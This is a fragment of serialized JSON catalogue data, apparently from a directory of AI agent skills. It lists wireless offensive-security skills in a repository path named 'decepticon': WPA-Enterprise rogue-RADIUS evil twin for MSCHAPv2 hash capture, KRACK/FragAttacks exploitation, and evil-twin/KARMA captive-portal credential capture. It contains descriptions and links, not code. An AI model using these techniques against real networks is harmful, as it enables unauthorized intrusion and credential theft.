2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]